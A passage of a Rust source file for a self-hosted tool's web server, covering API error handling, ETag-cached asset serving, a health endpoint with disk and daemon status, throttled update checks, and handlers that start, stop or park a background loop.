1737        let why = why.trim();
1738        return Err(format!(
1739            "`tailscale ip -4` failed ({}){}",
1740            out.status,
1741            if why.is_empty() {
1742                String::new()
1743            } else {
1744                format!(": {why}")
1745            }
1746        ));
1747    }
1748    String::from_utf8_lossy(&out.stdout)
1749        .lines()
1750        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1751        .find(is_tailnet)
1752        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1753}
1754
1755/// Is this address in the CGNAT block Tailscale hands out from?
1756fn is_tailnet(ip: &Ipv4Addr) -> bool {
1757    let o = ip.octets();
1758    o[0] == 100 && (64..=127).contains(&o[1])
1759}
1760
1761/// What every handler returns. Spelled out because `Result` in this crate is
1762/// `anyhow::Result`, and a handler's error is a status code as much as a
1763/// message.
1764type ApiResult<T> = std::result::Result<T, ApiError>;
1765
1766/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1767#[derive(Debug)]
1768struct ApiError {
1769    status: StatusCode,
1770    message: String,
1771    text_reason: Option<crate::question_delivery::UnavailableReason>,
1772}
1773
1774impl ApiError {
1775    /// The client asked for something malformed.
1776    fn bad_request(message: impl Into<String>) -> Self {
1777        Self {
1778            text_reason: None,
1779            status: StatusCode::BAD_REQUEST,
1780            message: message.into(),
1781        }
1782    }
1783
1784    /// No such run or task.
1785    fn not_found(message: impl Into<String>) -> Self {
1786        Self {
1787            text_reason: None,
1788            status: StatusCode::NOT_FOUND,
1789            message: message.into(),
1790        }
1791    }
1792
1793    /// Someone else owns the thing the client wants to change.
1794    /// Re-badge an error whose default mapping is wrong for this route.
1795    fn with_status(mut self, status: StatusCode) -> Self {
1796        self.status = status;
1797        self
1798    }
1799
1800    /// A rules violation from a domain type, reported as the caller's fault.
1801    /// `Question::answer` rejects an unoffered choice, and that is a bad
1802    /// request, not a server error.
1803    fn bad_request_from(e: anyhow::Error) -> Self {
1804        Self::bad_request(format!("{e:#}"))
1805    }
1806
1807    fn conflict(message: impl Into<String>) -> Self {
1808        Self {
1809            text_reason: None,
1810            status: StatusCode::CONFLICT,
1811            message: message.into(),
1812        }
1813    }
1814
1815    /// Our fault, or the disk's.
1816    fn internal(message: impl Into<String>) -> Self {
1817        Self {
1818            text_reason: None,
1819            status: StatusCode::INTERNAL_SERVER_ERROR,
1820            message: message.into(),
1821        }
1822    }
1823}
1824
1825impl From<anyhow::Error> for ApiError {
1826    /// Errors from `queue` and `run` carry their context chain, and the whole
1827    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1828    /// value at line 3" is a message an operator can act on, and there is no
1829    /// secret in a path on a single-user tailnet.
1830    fn from(e: anyhow::Error) -> Self {
1831        Self::internal(format!("{e:#}"))
1832    }
1833}
1834
1835impl IntoResponse for ApiError {
1836    fn into_response(self) -> Response {
1837        let mut body = serde_json::json!({ "error": self.message });
1838        if let Some(reason) = self.text_reason {
1839            body["code"] = serde_json::json!("question_text_unavailable");
1840            body["reason"] = serde_json::json!(reason);
1841        }
1842        (self.status, Json(body)).into_response()
1843    }
1844}
1845
1846/// Run a handler's filesystem work off the executor.
1847///
1848/// Every route that touches the disk goes through here rather than each one
1849/// arguing about whether its own read is small enough. Uniform because the
1850/// expensive case is not rare: `run.json` for a finished competition holds
1851/// every judgement, deliberation turn and review round, so listing a few
1852/// hundred runs is megabytes of parsing, and the executor threads doing it are
1853/// the same ones serving the change stream of every other connected phone.
1854async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1855where
1856    T: Send + 'static,
1857{
1858    #[cfg(test)]
1859    let job = request_cost::carry(job);
1860    match tokio::task::spawn_blocking(job).await {
1861        Ok(result) => result,
1862        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1863    }
1864}
1865
1866/// Cache policy for the three compiled-in front-end files.
1867///
1868/// The whole interface is `include_str!`ed into the binary, so its content
1869/// changes only when the binary does - and a phone that keeps a copy is
1870/// welcome to, right up until the deck is replaced. Without a single cache
1871/// header, browsers were free to invent their own policy, and one did:
1872/// yukimemi's phone went on showing "Candidates must be folded before
1873/// deleting. Run `magi fold` first." - a sentence deleted two releases
1874/// earlier - from a run detail served by a deck that no longer contained it.
1875/// The delete button he was told about was right there, and unreachable.
1876///
1877/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1878/// every time, the answer is a 304 costing one small round trip while the
1879/// deck is unchanged, and the moment it is replaced the tag differs and the
1880/// new interface arrives. Correctness over bytes - this is one file of a few
1881/// tens of kilobytes on a tailnet, and being a version behind is not a
1882/// cosmetic problem when the difference is whether a button exists.
1883const ASSET_CACHE: &str = "no-cache, must-revalidate";
1884
1885/// `ETag` for the compiled-in assets, distinct per build.
1886///
1887/// The version alone would leave a locally built deck - `cargo install
1888/// --path .` twice at the same version, which is the normal way to iterate -
1889/// serving a stale tag for changed bytes. The build timestamp is what makes
1890/// two builds of `0.3.0` differ.
1891fn asset_etag() -> &'static str {
1892    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1893        format!(
1894            "\"{}-{}\"",
1895            env!("CARGO_PKG_VERSION"),
1896            // Length is a cheap, deterministic stand-in for a hash: the
1897            // three files are compiled in together, so any edit to any of
1898            // them almost certainly changes the total, and a rebuild is what
1899            // this needs to track rather than every possible byte pattern.
1900            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1901        )
1902    });
1903    &TAG
1904}
1905
1906/// Headers for a compiled-in asset of `mime`.
1907fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1908    [
1909        (header::CONTENT_TYPE, mime),
1910        (header::CACHE_CONTROL, ASSET_CACHE),
1911        (header::ETAG, asset_etag()),
1912    ]
1913}
1914
1915/// Serve a compiled-in asset, answering `304` when the client already has it.
1916///
1917/// axum does not compare `If-None-Match` for us, and a header the server sets
1918/// but never honours is worse than none: the phone revalidates on every load
1919/// and is handed the whole file back each time. Doing the comparison is what
1920/// makes `must-revalidate` cost one small round trip rather than the
1921/// interface.
1922fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1923    let tag = asset_etag();
1924    let known = headers
1925        .get(header::IF_NONE_MATCH)
1926        .and_then(|v| v.to_str().ok())
1927        // A revalidating client may send several, and a proxy may weaken the
1928        // tag to `W/"..."`; matching on containment covers both without
1929        // parsing the grammar.
1930        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1931    if known {
1932        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1933    }
1934    (asset_headers(mime), body).into_response()
1935}
1936
1937async fn index(headers: header::HeaderMap) -> Response {
1938    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1939}
1940
1941async fn app_css(headers: header::HeaderMap) -> Response {
1942    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1943}
1944
1945async fn app_js(headers: header::HeaderMap) -> Response {
1946    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1947}
1948
1949/// What `/api/health` answers.
1950#[derive(Debug, Serialize)]
1951struct HealthView {
1952    version: &'static str,
1953    home: String,
1954    queue_rev: u64,
1955    runs_rev: u64,
1956    /// The same revisions [`events`] streams for the question and talk
1957    /// stores.
1958    ///
1959    /// Here because this route is what the front end falls back to when the
1960    /// change stream is not up - it re-polls health on a timer and on wake, and
1961    /// takes the revisions from the answer. Without these the fallback
1962    /// compares `undefined` against `undefined` for both stores, decides
1963    /// nothing moved, and a phone with a dead stream never learns that a
1964    /// question was asked or that a talk took a turn. `queue_rev` and
1965    /// `runs_rev` above have always been here for exactly this reason; the rule
1966    /// is that every revision the stream carries, this route carries too.
1967    questions_rev: u64,
1968    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1969    talks_rev: u64,
1970    /// See [`HealthView::questions_rev`]. The notification centre's store.
1971    notifications_rev: u64,
1972    /// Notifications nobody has read yet: the bell's badge before
1973    /// `/api/notifications` has answered.
1974    notifications_unread: usize,
1975    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1976    /// is not on disk anywhere, so a phone with no change stream has no other
1977    /// way to notice that the loop it is waiting on was started from another
1978    /// device.
1979    loop_rev: u64,
1980    /// Runs on disk whose state this build cannot parse - almost always a
1981    /// schema bump, occasionally a run killed mid-write.
1982    ///
1983    /// Reported because the list silently skips them, and "no competitions
1984    /// yet" is a lie when six of them are sitting in the runs directory. The
1985    /// terminal deck learned the same lesson: a run that fails to parse must
1986    /// not disappear from the count.
1987    runs_unreadable: usize,
1988    /// The disk, and what the runs and their worktrees occupy on it.
1989    ///
1990    /// This is the incident the janitor exists for: magi alone put 30 GB into
1991    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1992    /// is exactly where the operator learns "the disk is the constraint" -
1993    /// the diagnosis that a run is being held for want of space has to be
1994    /// checkable on the same screen.
1995    disk: DiskView,
1996    /// Questions nobody has answered yet, including ones an owner talked
1997    /// back on and is now waiting for the agent's reply to. A round trip
1998    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1999    /// while the ball is in the agent's court - see
2000    /// [`crate::ask::Questions::count_open`].
2001    questions_open: usize,
2002    /// Of those, how many actually need the owner right now: open, and not
2003    /// [`crate::ask::Question::waiting_on_agent`].
2004    ///
2005    /// The one number that means "nothing will happen until a human acts" -
2006    /// a parked run consumes nothing and progresses never - and the count the
2007    /// ask bar, the nav badge and the document title fall back to before
2008    /// `/api/questions` has answered, so those notification channels clear
2009    /// the instant the owner asks back and reappear the instant the agent
2010    /// replies, instead of sitting lit for however long the agent thinks.
2011    questions_needs_owner: usize,
2012    daemon: DaemonView,
2013    /// The loop in this process, exactly what `/api/loop` answers with.
2014    ///
2015    /// Here so a phone that has just woken needs one request to know whether
2016    /// anything is going to happen at all: `daemon` says a loop is alive
2017    /// somewhere, and this says whether it is one this UI can stop.
2018    #[serde(rename = "loop")]
2019    looping: LoopView,
2020    /// Whether a release newer than this build is known, and which.
2021    ///
2022    /// From [`updater::Checker::cached_update`] - the same throttled state the
2023    /// CLI's `notify` mode banners from - never a live check: this route is
2024    /// polled every few seconds, and a live check on each poll would spend
2025    /// GitHub's rate limit before the operator finished reading the strip.
2026    update: UpdateView,
2027    /// The self-upgrade this deck last set in motion, or `null` before the
2028    /// first one. Read off disk, so the successor can report what its
2029    /// predecessor started.
2030    upgrade: Option<UpgradeProgressView>,
2031}
2032
2033/// What `/api/health` knows about a release newer than this build.
2034///
2035/// A plain `Option<String>` for `to` could not distinguish "checked, and this
2036/// is already the newest" from "never checked" - both are `None` - and the
2037/// phone needs to tell those apart to decide whether the deck can be trusted
2038/// to have an opinion at all.
2039#[derive(Debug, Serialize)]
2040struct UpdateView {
2041    /// A newer release is known to exist.
2042    available: bool,
2043    /// Its tag, when `available`.
2044    to: Option<String>,
2045}
2046
2047/// [`updater::Progress`] as `/api/health` reports it.
2048#[derive(Debug, Serialize)]
2049struct UpgradeProgressView {
2050    stage: updater::Stage,
2051    from: String,
2052    to: Option<String>,
2053    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
2054    /// the step it is finishing before the address is handed over.
2055    waiting_on: Option<String>,
2056    started_at: Timestamp,
2057    updated_at: Timestamp,
2058    detail: Option<String>,
2059    /// Seconds the stage has outlived its allowance, when it has - see
2060    /// [`updater::stall`]. `null` while the stage is moving normally.
2061    stuck_for_secs: Option<i64>,
2062    /// Which kind of stuck: `never_entered` (hand_over left no record of
2063    /// starting) or `stopped_beating`. `null` when not stuck.
2064    stuck_kind: Option<updater::StallKind>,
2065    /// `hand_over` is alive and waiting on the loop: however long that takes,
2066    /// it is not an overdue upgrade.
2067    handover_alive: bool,
2068}
2069
2070/// Whether [`run_update_recheck`] may act at all this tick.
2071///
2072/// The same two conditions [`updater::Checker::new`] and
2073/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
2074/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
2075/// GitHub from this process" - on a button press or on a timer alike.
2076fn should_spawn_recheck(cfg: &Update) -> bool {
2077    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2078}
2079
2080/// Whether this tick should actually reach the network, once checking itself
2081/// is allowed.
2082///
2083/// An upgrade already in flight must not be raced by a check that discovers
2084/// a *newer* release while one is still installing - a phone watching
2085/// `/api/health` would see the answer change out from under the upgrade it
2086/// already asked for. Past that, [`updater::Checker::should_check`] is the
2087/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
2088/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
2089/// polling period, is what keeps this task's network use to at most once per
2090/// `[update] interval` regardless of how often it wakes up.
2091fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2092    if progress.is_some_and(|p| !p.stage.terminal()) {
2093        return false;
2094    }
2095    checker.should_check()
2096}
2097
2098/// How long [`run_update_recheck`] sleeps before its next wake-up.
2099///
2100/// A fraction of the configured `[update] interval` rather than a fixed
2101/// number: a fixed sleep longer than a short custom interval would leave the
2102/// deck waiting on its own wake-up rather than on `should_check`, so an
2103/// operator who set `interval = "1m"` to make the UI catch up quickly would
2104/// not see that take effect until the next restart - exactly the bug this
2105/// task exists to fix, just moved one level down. Scaling with the interval
2106/// keeps the wake-up prompt relative to what was actually configured, while
2107/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
2108/// still what caps the network calls themselves at one per interval,
2109/// regardless of how often this fires.
2110fn recheck_poll_period(cfg: &Update) -> Duration {
2111    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2112}
2113
2114/// Keep `/api/health`'s `update` field current for as long as `magi web`
2115/// stays up.
2116///
2117/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
2118/// which is enough for every other command: they exit in seconds. `magi web`
2119/// can run for days, so a single startup check leaves the cache - and the
2120/// phone's "Update & restart" button, which reads it via
2121/// [`cached_update_view`] - frozen on whatever that one look found, however
2122/// many releases ship afterwards. This is what notices the rest of them,
2123/// re-reading the config each tick so a `magi.toml` edit while the server is
2124/// up takes effect without a restart, the same way every other route here
2125/// already does - both for whether checking is on at all and for how long
2126/// the next sleep should be.
2127///
2128/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
2129/// "install"`: swapping the running binary out from under a task or a run
2130/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
2131/// not as a side effect of a timer nobody asked to fire. This only ever
2132/// calls [`updater::Checker::newer_release`], which refreshes
2133/// `last_update_check.json` and nothing else - so under `mode = "install"`
2134/// this behaves like `notify` for as long as the deck stays up, and an
2135/// actual self-install still happens exactly where it always has: once, at
2136/// the next process start.
2137async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2138    loop {
2139        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2140        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2141        if !should_spawn_recheck(&cfg.update) {
2142            continue;
2143        }
2144        let Some(checker) = updater::Checker::new(&cfg.update) else {
2145            continue;
2146        };
2147        let progress = updater::read_progress(&home);
2148        if !update_recheck_due(&checker, progress.as_ref()) {
2149            continue;
2150        }
2151        if let Err(e) = checker.newer_release().await {
2152            tracing::warn!("background update recheck failed: {e:#}");
2153        }
2154    }
2155}
2156
2157/// [`UpdateView`] from the same throttled, disk-only state
2158/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
2159/// never a live check. `[update] mode = "off"` answers "unknown" the same as
2160/// no cached state at all, which is correct: an operator who turned checking
2161/// off gets no opinion, not a stale one.
2162fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2163    let default;
2164    let cfg = match cfg {
2165        Some(cfg) => cfg,
2166        None => {
2167            default = Config::default();
2168            &default
2169        }
2170    };
2171    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2172    match latest {
2173        Some(latest) => UpdateView {
2174            available: true,
2175            to: Some(latest.tag_name),
2176        },
2177        None => UpdateView {
2178            available: false,
2179            to: None,
2180        },
2181    }
2182}
2183
2184/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
2185/// from the parked run's own state when the stage is
2186/// [`updater::Stage::Parking`] - the run and the node it is finishing are
2187/// already on disk in `run.json`, so this reads them fresh rather than
2188/// trusting whatever was true the moment the park was requested.
2189fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2190    let now = Timestamp::now();
2191    let lease = updater::read_lease(&ui.home);
2192    let alive = updater::live_lease(&progress, lease.as_ref(), now);
2193    let run_id = alive
2194        .and_then(|l| l.parked_run.as_deref())
2195        .or(progress.parked_run.as_deref());
2196    let parking = progress.stage == updater::Stage::Parking;
2197    let waited = alive.map_or_else(String::new, |l| {
2198        let secs = updater::waited_secs(l, now);
2199        format!(" (waited {} min so far)", secs / 60)
2200    });
2201    let run_text = run_id
2202        .filter(|_| parking)
2203        .map(|id| match read_run(&ui.runs, id).ok() {
2204            Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2205            None => format!("run {id} is finishing"),
2206        });
2207    let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2208        .filter(|t| parking && !t.is_empty())
2209        .map(|t| format!("{t} finishing"));
2210    let waiting_on = match (run_text, talks_text) {
2211        (None, None) => None,
2212        (run, talks) => {
2213            let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2214            Some(format!(
2215                "{} before the address is handed over{waited}",
2216                parts.join(" and ")
2217            ))
2218        }
2219    };
2220    let detail = progress
2221        .detail
2222        .clone()
2223        .or_else(|| updater::read_note(&ui.home, &progress));
2224    let stalled = updater::stall(&progress, lease.as_ref(), now);
2225    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2226    UpgradeProgressView {
2227        stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2228        stuck_kind: stalled.map(|s| s.kind),
2229        handover_alive: alive.is_some(),
2230        stage: progress.stage,
2231        from: progress.from,
2232        to: progress.to,
2233        waiting_on,
2234        started_at: progress.started_at,
2235        updated_at: progress.updated_at,
2236        detail,
2237    }
2238}
2239
2240/// The disk figures `/api/health` carries. Every number is produced by
2241/// [`crate::disk`], the same code that decides a run may not start, so the
2242/// health screen and the gate cannot disagree about what the machine looks
2243/// like.
2244#[derive(Debug, Serialize)]
2245struct DiskView {
2246    /// Free bytes on the volume holding the runs, when measurable.
2247    #[serde(skip_serializing_if = "Option::is_none")]
2248    free_bytes: Option<u64>,
2249    /// Everything the runs directory occupies, unreadable runs included.
2250    runs_bytes: u64,
2251    /// Everything the runs' worktrees occupy.
2252    worktrees_bytes: u64,
2253    /// The shared build cache's size, when the config names one.
2254    #[serde(skip_serializing_if = "Option::is_none")]
2255    cache_bytes: Option<u64>,
2256}
2257
2258impl DiskView {
2259    /// Measure the three directories and re-read the config's cache.
2260    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2261        let cache_bytes = cfg
2262            .and_then(|cfg| cfg.cache_dir())
2263            .map(|dir| crate::disk::dir_size(&dir));
2264        Self {
2265            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2266            runs_bytes: crate::disk::dir_size(&ui.runs),
2267            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2268            cache_bytes,
2269        }
2270    }
2271}
2272
2273/// The daemon's state as the UI presents it.
2274#[derive(Debug, Serialize)]
2275struct DaemonView {
2276    running: bool,
2277    idle: Option<bool>,
2278    pid: Option<u32>,
2279    /// Every task and run currently in flight. Empty when idle; more than
2280    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
2281    /// run going at once.
2282    current: Vec<daemon::Current>,
2283    completed: Option<u64>,
2284    stale_for_secs: Option<i64>,
2285}
2286
2287impl DaemonView {
2288    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
2289    /// not this UI's — a crashed daemon must not look alive here while
2290    /// `doctor` calls it dead.
2291    fn of(status: Option<daemon::Reading>) -> Self {
2292        let Some(status) = status else {
2293            return Self {
2294                running: false,
2295                idle: None,
2296                pid: None,
2297                current: Vec::new(),
2298                completed: None,
2299                stale_for_secs: None,
2300            };
2301        };
2302        let now = Timestamp::now();
2303        let age = status.age_secs(now);
2304        Self {
2305            running: status.running(now),
2306            idle: Some(status.idle),
2307            pid: status.pid,
2308            current: status.current,
2309            completed: Some(status.completed),
2310            stale_for_secs: age,
2311        }
2312    }
2313}
2314
2315async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2316    blocking(move || {
2317        // One read of the status file for the two fields that describe it, so
2318        // `daemon` and `loop` in the same answer cannot disagree about who is
2319        // running the loop.
2320        let reading = daemon::read_status(&ui.home);
2321        // Read on its own line, not inside the literal below: the loop's lock
2322        // is not reentrant, and a guard taken as a temporary there would still
2323        // be held when `loop_view` took it again.
2324        let loop_rev = ui.lock_loop().rev;
2325        // One discover for both views: each is a few git processes plus a
2326        // config render, and neither depends on anything the other reads.
2327        let cfg = deputy_config(&ui.repo);
2328        let update = cached_update_view(cfg.as_ref());
2329        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2330        Ok(Json(HealthView {
2331            version: env!("CARGO_PKG_VERSION"),
2332            home: ui.home.display().to_string(),
2333            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2334            runs_rev: runs_revision(&ui.runs),
2335            questions_rev: ui.questions.revision(),
2336            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2337            notifications_rev: ui.notices.revision(),
2338            notifications_unread: ui.notices.count_unread(),
2339            loop_rev,
2340            runs_unreadable: runs_unreadable(&ui.runs),
2341            questions_open: ui.questions.count_open(),
2342            questions_needs_owner: ui.questions.count_needs_owner(),
2343            daemon: DaemonView::of(reading.clone()),
2344            looping: ui.loop_view(reading),
2345            disk: DiskView::of(&ui, cfg.as_ref()),
2346            update,
2347            upgrade,
2348        }))
2349    })
2350    .await
2351}
2352
2353/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2354#[derive(Debug, Serialize)]
2355struct LoopView {
2356    /// A loop is running in *this* process.
2357    running: bool,
2358    /// It has been asked to stop and is still finishing a run.
2359    ///
2360    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2361    /// because the two differ exactly where it matters: a loop asked to stop
2362    /// while idle is gone within one poll interval, and one asked to stop
2363    /// mid-run keeps going for as long as the graph takes. The operator needs
2364    /// to be told which of those they are waiting for.
2365    stopping: bool,
2366    /// A park was asked for: the run in flight stops at its next node
2367    /// boundary rather than finishing.
2368    ///
2369    /// Separate from `stopping` because the two promise different waits. A
2370    /// stop is "when this competition ends", which can be an hour; a park is
2371    /// "after the step it is on", which is minutes and is what an operator
2372    /// waiting to replace the binary needs to see.
2373    parking: bool,
2374    /// The loop is this process's own.
2375    ///
2376    /// Spelled separately from `running` for the front end's sake, even
2377    /// though inside this process the two move together: `running: false`
2378    /// with `daemon.running: true` is the case where the operator's own `magi
2379    /// serve` owns the loop, and `owned` is the field that tells the UI its
2380    /// buttons have to explain that rather than pretend.
2381    owned: bool,
2382    /// Repository the loop uses for tasks that name none - what it was
2383    /// started with while it runs, and what a start would use before that.
2384    repo: String,
2385    /// Merge mode override in force, or `null` when each repository's own
2386    /// config decides.
2387    merge: Option<String>,
2388    /// Why the last loop in this process ended, when it ended badly.
2389    ///
2390    /// The only place a crashed loop is visible to someone holding a phone.
2391    /// It is logged at error level as well, but a terminal nobody kept open
2392    /// is not a report, and a loop that died at 3am must not read as merely
2393    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2394    /// answers the same question about the same kind of failure.
2395    last_error: Option<String>,
2396    /// The status file, judged the same way `/api/health` judges it: this is
2397    /// what says whether a loop is alive in some *other* process.
2398    daemon: DaemonView,
2399}
2400
2401/// A loop another process already owns.
2402///
2403/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2404/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2405/// published by a pid that is not ours. Excluding our own pid is what makes
2406/// stopping work at all - the loop this process runs writes that file too, so
2407/// a check that ignored the pid would decide the operator's own UI was a
2408/// stranger and refuse to stop the loop it had just started.
2409#[derive(Debug, Clone, Copy)]
2410struct Foreign {
2411    /// The pid the other process published, when it published one.
2412    pid: Option<u32>,
2413}
2414
2415impl Foreign {
2416    /// Another process's live loop, or `None` when this process is free to
2417    /// run one.
2418    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2419        // A fresh heartbeat with no pid in it is still evidence of a live
2420        // daemon. "Some other process" is the honest answer, and refusing
2421        // to start beside it is the safe one.
2422        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2423    }
2424
2425    /// How a conflict names it. The pid is the whole point of the message: it
2426    /// is what the operator needs to find the terminal that owns the loop.
2427    fn who(&self) -> String {
2428        match self.pid {
2429            Some(pid) => format!("another magi process (pid {pid})"),
2430            None => "another magi process".to_owned(),
2431        }
2432    }
2433}
2434
2435/// How a loop is started, as a future this module can hold onto.
2436///
2437/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2438/// trait object or a hand-written `Debug` impl for the sake of one seam.
2439type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2440
2441/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2442fn launch_daemon(
2443    opts: daemon::Opts,
2444    stop: daemon::Stop,
2445) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2446    Box::pin(daemon::serve_until(opts, stop))
2447}
2448
2449/// The loop this process runs, behind one lock.
2450#[derive(Debug, Default)]
2451struct LoopState {
2452    /// The loop, while there is one.
2453    live: Option<Live>,
2454    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2455    ///
2456    /// The loop is in-process state rather than a file, so nothing on disk
2457    /// would tell a second phone that the first one started it. Without this
2458    /// counter the only way to learn about a start, a stop request or a crash
2459    /// would be to poll `/api/loop`, which is the thing the change stream
2460    /// exists to avoid on a mobile link.
2461    rev: u64,
2462    /// Why the last loop ended, when it ended badly. See
2463    /// [`LoopView::last_error`].
2464    last_error: Option<String>,
2465    /// The loop was running (and not already stopping) when the last upgrade
2466    /// parked it, so the successor should start one. Set afresh by every
2467    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2468    /// update.
2469    resume_after_handover: bool,
2470}
2471
2472/// A loop in flight.
2473#[derive(Debug)]
2474struct Live {
2475    /// The cooperative stop, shared with the loop task.
2476    stop: daemon::Stop,
2477    /// The task itself, kept only to answer whether it is still there: a loop
2478    /// that panicked never records its own end, and without this the view
2479    /// would go on reporting a loop that no longer exists - the one lie that
2480    /// would leave the operator with no button to press.
2481    handle: tokio::task::JoinHandle<()>,
2482    /// What the loop was started with, so the view reports the repository and
2483    /// merge mode its runs will actually use rather than what an edit to the
2484    /// config since would give.
2485    opts: daemon::Opts,
2486}
2487
2488impl Live {
2489    /// Is the task still there? See [`Live::handle`].
2490    fn alive(&self) -> bool {
2491        !self.handle.is_finished()
2492    }
2493}
2494
2495/// Take the loop lock, recovering from a poisoned one.
2496///
2497/// What this mutex holds is a stop flag, a task handle and two counters, none
2498/// of which a panic elsewhere can leave in a state worth refusing to read.
2499/// Propagating the poison instead would mean an operator who can see the loop
2500/// running and can no longer stop it from the only surface they have.
2501fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2502    state.lock().unwrap_or_else(PoisonError::into_inner)
2503}
2504
2505/// `GET /api/loop`.
2506async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2507    blocking(move || {
2508        let reading = daemon::read_status(&ui.home);
2509        Ok(Json(ui.loop_view(reading)))
2510    })
2511    .await
2512}
2513
2514/// The body of `POST /api/loop`.
2515///
2516/// One required field and nothing else: no `default` and no unknown fields,
2517/// so a body that fails to say which way the switch was flipped is a 400
2518/// rather than a tap that quietly does the opposite of what was pressed.
2519#[derive(Debug, Deserialize)]
2520#[serde(deny_unknown_fields)]
2521struct LoopCommand {
2522    running: bool,
2523    /// Stop the run in flight at its next node boundary rather than letting it
2524    /// finish.
2525    ///
2526    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2527    /// competition is tens of minutes of paid work and finishing it is
2528    /// normally the cheapest thing to do. A park is for the operator who
2529    /// wants the process gone now - to replace the binary, most of all - and
2530    /// it costs at most the node in progress because every node writes its
2531    /// state before the next one starts.
2532    #[serde(default)]
2533    park: bool,
2534}
2535
2536/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2537///
2538/// Answers with the view rather than waiting for the loop to reach the state
2539/// that was asked for. Starting is immediate anyway; stopping is not, and the
2540/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2541/// request open for. `stopping` in the answer is what the operator watches
2542/// instead.
2543async fn loop_post(
2544    State(ui): State<Arc<Ui>>,
2545    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2546) -> ApiResult<Json<LoopView>> {
2547    // Taken as a `Result` so a malformed body is a 400 like every other route
2548    // here, rather than axum's default 422 that the UI has no branch for.
2549    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2550    blocking(move || {
2551        let reading = daemon::read_status(&ui.home);
2552        let foreign = Foreign::of(reading.as_ref());
2553        if body.running {
2554            ui.start_loop(foreign)?;
2555        } else {
2556            ui.stop_loop(foreign, body.park)?;
2557        }
2558        Ok(Json(ui.loop_view(reading)))
2559    })
2560    .await
2561}
2562
2563/// What `POST /api/upgrade` set in motion.
2564#[derive(Debug, Serialize)]
2565struct UpgradeView {
2566    /// The version this process is running.
2567    from: String,
2568    /// The release it is replacing itself with, when there is one.
2569    to: Option<String>,
2570    /// A run was parked first, and this is its id.
2571    parked: Option<String>,
2572    /// What the operator should expect to happen next.
